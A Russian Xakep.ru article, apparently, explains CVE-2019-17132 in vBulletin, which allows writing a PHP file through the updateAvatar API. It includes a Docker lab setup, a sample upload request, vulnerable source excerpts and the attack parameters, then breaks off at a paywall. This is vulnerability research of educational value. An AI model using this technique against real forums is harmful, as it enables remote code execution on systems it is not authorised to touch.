Сегодня мы поговорим сразу о нескольких уязвимостях. Одна из них была найдена в популярном форумном движке vBulletin и позволяет атакующему выполнять произвольный код, не имея никаких прав, — от такого безобразия его отделяет лишь один POST-запрос. Также я потреплю старичка Django в поисках SQL-инъекций и покажу, как работает обход авторизации в базе данных InfluxDB.
2019 год подходит к концу, все начинают усиленно готовиться к праздникам. Безопасники добивают свои последние аудиты, которые из года в год наваливаются в эту пору. Неудивительно — ведь фискальный год тоже подходит к концу, а бюджеты еще не до конца потрачены!
После таких плодотворных недель кругом начинается затишье, и это касается в том числе информационной безопасности. Не так много уязвимостей и активностей приходится на конец декабря и начало января. Поэтому сейчас самое время вспомнить баги, которые, возможно, остались незамеченными в течение года.
Они просты по своей сути, однако это не мешает им иметь критический статус. Одни дают возможность выполнить произвольный код, другие — получить доступ к чувствительным данным или вовсе захватить полный доступ к системе. В этом году сильно досталось коммерческому форумному движку vBulletin: сразу несколько опасных багов было найдено в последних его версиях во второй половине года. С них и начнем.
Автор: Эджидио Романо (Egidio Romano aka EgiX)
Дата релиза: 4.10.2019
CVE: CVE-2019-17132
Уязвимые версии: vBulletin <= 5.5.4
Чтобы более предметно разговаривать о найденной проблеме, нужно поднять стенд и посмотреть на нее поближе. Так как vBulletin — коммерческое приложение, я предлагаю тебе самостоятельно решить, каким образом его найти.
В качестве базы данных будем использовать MySQL, а в качестве веб-сервера — докер-контейнер на основе Debian.
docker run -d -e MYSQL_USER="vb" -e MYSQL_PASSWORD="EAQhaTXieg" -e MYSQL_DATABASE="vb" --rm --name=mysql --hostname=mysql mysql/mysql-server:5.7 docker run --rm -ti --link=mysql --name=websrv --hostname=websrv -p80:80 debian /bin/bash
Устанавливаем стандартный набор из Apache2 и PHP.
apt update && apt install -y apache2 php nano php-mysqli php-xml php-gd
После этого можно запускать веб-сервер.
service apache2 start
Теперь устанавливаем vBulletin, я буду использовать версию 5.4.3.
По дефолту загруженные файлы хранятся в базе данных, такое поведение совместимо с эксплуатацией уязвимости. Поэтому сначала нужно зайти в настройки и поменять место хранения аватаров.
Загружается аватар через отправку запроса POST на /profile/upload-profilepicture
.
POST /profile/upload-profilepicture HTTP/1.1 Host: web.fh Connection: keep-alive Accept: application/json, text/javascript, */*; q=0.01 X-Requested-With: XMLHttpRequest Content-Type: multipart/form-data; boundary=----WebKitFormBoundary2V36WCZNIGxAuYwu Cookie: сессионные_куки_ ---WebKitFormBoundary2V36WCZNIGxAuYwu Content-Disposition: form-data; name="profilePhotoFile"; filename="orange_box.png#26759185" Content-Type: image/png содержимое_файла ---WebKitFormBoundary2V36WCZNIGxAuYwu Content-Disposition: form-data; name="securitytoken" CSRF-токен ---WebKitFormBoundary2V36WCZNIGxAuYwu--
Если здесь просто попытаться загрузить PHP-файл, то ничего не выйдет. Расширение файла определяется библиотекой, которая работает с картинками. Если переданный документ не будет картинкой, то скрипт просто прекратит свою работу с ошибкой not_an_image
.
1335: public function uploadAvatar($filename, $crop = array(), $userid = false, $adminoverride = false) 1336: { ... 1339: $isImage = $imageHandler->fileLocationIsImage($filename); 1340: if ($isImage) 1341: { ... 1359: $fileInfo = $imageHandler->fetchImageInfo($filename); ... 1361: else 1362: { 1363: // throw something useful here. 1364: throw new vB_Exception_Api('not_an_image'); 1365: } ... 1435: $ext = strtolower($fileInfo[2]); 1436: 1437: $dimensions['extension'] = empty($ext) ? $pathinfo['extension'] : $ext; ... 1485: 'extension' => $dimensions['extension'], ... 1511: $result = $api->updateAvatar($userid, false, $filearray, true);
После всех манипуляций вызывается updateAvatar
с параметрами аватара в $filearray
.
Однако существует возможность напрямую вызвать этот метод API. Чтобы это сделать, нужно отправить запрос на эндпойнт ajax/api/user/updateAvatar
.
Если заглянуть в тело метода updateAvatar
, то можно обнаружить любопытный участок кода.
4111: public function updateAvatar($userid, $avatarid, $data = array(), $cropped = false) 4112: { ... 4149: if ($useavatar) 4150: { 4151: if (!$avatarid) 4152: { ... 4166: if (empty($data['extension'])) 4167: { 4168: $filebits = explode('.', $data['filename']); 4169: $data['extension'] = end($filebits); 4170: } 4171: 4172: $userpic->set('extension', $data['extension']); ... 4182: $avatarfilename = "avatar{$userid}_{$avatarrevision}.{$data['extension']}"; ... 4186: $avatarres = @fopen("$avatarpath/$avatarfilename", 'wb'); ... 4187: $userpic->set('filename', $avatarfilename); 4188: fwrite($avatarres, $data['filedata']); 4189: @fclose($avatarres);
Здесь расширение берется из массива $data
, который можно просто передать в теле запроса. Оно будет иметь следующий вид:
userid=0&avatarid=0&data[extension]=<расширение_файла>&data[filedata]=<содержимое_файла>&securitytoken=<токен>
Когда userid
установлен в ноль, скрипт выбирает текущего авторизованного пользователя, а avatarid
, равный нулю, говорит, что нужно загружать аватар, а не удалять.
Вот мы и подобрались к самой сути уязвимости. vBulletin не проверят должным образом параметры data[extension]
и data[fildeata]
, и это позволяет творить чудесные вещи. Например, установим расширение php
, а в data[filedata]
передадим простой PHP-код.
Материалы из последних выпусков становятся доступны по отдельности только через два месяца после публикации. Чтобы продолжить чтение, необходимо стать участником сообщества «Xakep.ru».
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», увеличит личную накопительную скидку и позволит накапливать профессиональный рейтинг Xakep Score! Подробнее
1 год7690 р. |
1 месяц720 р. |
Я уже участник «Xakep.ru»
Читайте также
Последние новости